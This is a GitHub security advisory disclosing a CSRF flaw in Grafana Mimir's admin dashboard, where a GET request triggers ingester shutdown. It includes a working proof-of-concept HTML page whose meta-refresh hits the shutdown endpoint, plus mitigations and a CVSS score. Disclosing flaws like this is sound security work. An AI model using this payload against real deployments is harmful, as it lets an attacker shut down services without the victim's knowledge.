Skip to content
This repository was archived by the owner on Dec 17, 2024. It is now read-only.

CSRF on dangerous "Trigger ingester shutdown" action in Mimir

Moderate
KristianGrafana published GHSA-2wxq-mcch-gvxv May 26, 2023

Package

No package listed

Affected versions

0

Patched versions

0

Description

Summary

Mimir exposes an Admin Dashboard listing some status information but also listing some operations that are labeled to be "Dangerous". The operation "Trigger ingester shutdown" is vulnerable to CSRF. By tricking a Mimir user with access to this dashboard into visiting a maliciously crafted page by the attacker, the attacker can trigger execution of this operation.

Details

To "Play with Grafana Mimir" I found the following page: https://grafana.com/tutorials/play-with-grafana-mimir/
I've used this to launch an instance of Grafana + Mimir and found that it includes a "Grafana Mimir Admin" dashboard. On this dashboard I found a section including operations that are listed to be "Dangerous" which implies that you wouldn't want these to be used by anyone who isn't authorized to do so. However upon using the "Trigger ingester shutdown" I noticed this operation is triggered by a simple GET request without any CSRF protection. So if an attacker would want to abuse this, they would simply have to trick a Mimir user into visiting a specially crafted page that will redirect them to this GET endpoint. This will cause the dangerous operation to be triggered, without the user consciously choosing to do so.

PoC

  1. Launch a Grafana Mimir setup as described with these steps: https://grafana.com/tutorials/play-with-grafana-mimir/
  2. Trick a user with access to this dashboard into visiting https://0-a.nl/grafdown.html

This page hosts the following POC:

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta http-equiv="refresh" content="0; url=http://localhost:9009/ingester/shutdown">
	<title></title>
</head>
<body>
</body>
</html>

Result

The ingestor shutdown will be triggered. To verify this you can check the status of the ingester-service on this page http://localhost:9009/services which should now be "Terminated".

Impact

A Mimir user (someone with access to the Dashboard / instance) will unknowingly trigger a ingestor shutdown. This operations is listed as "Dangerous" and as such you wouldn't want this to be triggered without consciously choosing to do so.

Mitigation

  • Do not use GET requests for state changes as they can easily be triggered by a redirect (for example) making any Cookie protections obsolete.
  • Apply some sort of Anti CSRF protection like CSRF-tokens
  • You could also pick a HTTP method that isn't vulnerable to CSRF, like PUT or PATCH.

Note from Grafana Labs

This is considered an accepted risk.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

CVE ID

No known CVE

Weaknesses

Cross-Site Request Forgery (CSRF)

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Learn more on MITRE.

Credits